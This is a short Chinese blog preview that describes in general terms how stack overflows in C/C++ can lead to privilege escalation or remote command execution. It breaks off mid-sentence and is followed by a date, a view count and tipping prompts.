    通常情况下栈溢出可能造成的后果有两种,一类是本地提权另一类则是远程执行任意命令,通常C/C++并没有提供智能化检查用户输入是否合法的功能,同时程序编写人员在编写代码时也很难始终检查栈是否会发生溢出,这就给恶意代码的溢出提供了的条件,利用溢出攻击者可

    2024年02月13日
    浏览(34)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包